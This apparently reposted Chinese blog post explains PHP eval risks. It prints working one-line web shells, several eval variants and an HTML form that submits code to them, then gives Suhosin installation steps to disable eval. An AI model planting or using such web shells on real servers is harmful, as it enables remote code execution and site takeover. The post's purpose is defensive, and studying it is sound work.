【php安全】eval的禁止【原創】

前段時間,網站遭受了黑客的入侵,後來在排查中發現了一個php,裏面的內容只有不多:


<?php eval($_POST[asda123131323156341]);?>

而後網上搜索一下php的eval函數,發現這個eval函數帶有很大的安全隱患。
本地測試一下,在本地環境寫一個php,內容以下:
default.php:
<?php eval($_GET[asda]);?>
而後訪問一下:localhost/test/default.php?asda=phpinfo();
就能夠看到已經把phpinfo給執行了。
或者是訪問localhost/test/default.php?asda = echo 11111;一樣也會發現1111被echo出來了。
相似的手段還有:
<?php $code="${${eval($_GET[c])}}";?>
訪問localhost/test/default.php?c=phpinfo();便可看到

<?php
$code=addslashes($_GET[c]);
eval(""$code""); 
?> 
訪問localhost/test/default.php?c= ${${phpinfo()}};便可看到

利用能夠執行php的eval函數,黑客能夠用這個來上傳一些後臺木馬,好比說上傳php,而後經過url訪問這個php來得到更大的權限。這種稱爲一句話木馬的入侵。好比說:寫一個html,內容以下:
<html> 
<body> 
<form action="default.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>
而後寫一個default.php,內容爲:
<?php eval($_POST[c]);?>
這樣的話,想執行什麼php就能夠直接提交運行便可。


因此: eval()對於php安全來講具備很大的殺傷力,eval函數減弱了你的應用的安全性,所以通常不用的狀況下爲了防止相似以下的一句話木馬入侵,須要禁止!

然而網上不少說使用disable_functions禁止掉eval的方法都是錯誤的!
其實eval()是沒法用php.ini中的disable_functions禁止掉的 :
because eval() is a language construct and not a functionphp

eval是zend的,所以不是PHP_FUNCTION 函數;html

那麼php怎麼禁止eval呢?nginx

若是想禁掉eval能夠用php的擴展 Suhosinc++

安裝Suhosin後在php.ini中load進來Suhosin.so,再加上suhosin.executor.disable_eval = on便可!apache

總結,php的eval函數在php中是沒法禁用的,所以咱們也只有使用插件了!瀏覽器


至於安裝suhosin來禁止eval函數的步驟爲:(未測試)安全

原文來自:Linux下php安裝suhosin函數

注意:只能用於cent os

說明:
php安裝目錄:/usr/local/php5
php.ini配置文件路徑:/usr/local/php5/etc/php.ini
Nginx安裝目錄:/usr/local/nginx
Nginx網站根目錄:/usr/local/nginx/html

一、安裝編譯工具
yum install wget  make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils  patch perl

二、安裝suhosin
cd /usr/local/src   #進入軟件包存放目錄
wget  http://download.suhosin.org/suhosin-0.9.33.tgz    #下載
tar zxvf suhosin-0.9.33.tgz   #解壓
cd suhosin-0.9.33   #進入安裝目錄
/usr/local/php5/bin/phpize   #用phpize生成configure配置文件
./configure  --with-php-config=/usr/local/php5/bin/php-config   #配置
make   #編譯
make install   #安裝
安裝完成以後,出現下面的界面,記住如下路徑,後面會用到。
Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/   #suhosin模塊路徑

三、配置php支持suhosin
vi /usr/local/php5/etc/php.ini   #編輯配置文件,在最後一行添加如下內容
extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
suhosin.executor.disable_eval = on 

注意:suhosin.executor.disable_eval = on 的做用就是禁用eval函數

四、測試
vi /usr/local/nginx/html/phpinfo.php    #編輯
<?php
phpinfo();
?>
:wq!  #保存退出

service php-fpm restart   #重啓php-fpm
service nginx restart   #重啓nginx
注意:若是是apache的話也是同樣的,重啓apache便可。

瀏覽器打開phpinfo.php 以下圖所示,能夠看到suhosin相關信息

 至此,Linux下php安裝suhosin安裝完成!

注意:禁用了 eval後,會有啥後果呢? 首先是代碼裏使用 eval 的軟件將不能使用好比大名鼎鼎的 Discuz! 論壇和 PHPWind論壇將不能正常使用,也影響到phpMyAdmin的舊版本,若是更新到目前最新的3.2.5,就能夠使用,只是默認有個警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true; 
就能夠取消這個警告了。

注意:除了eval以外,還有assert也是相似的用法。
相關文章
相關標籤/搜索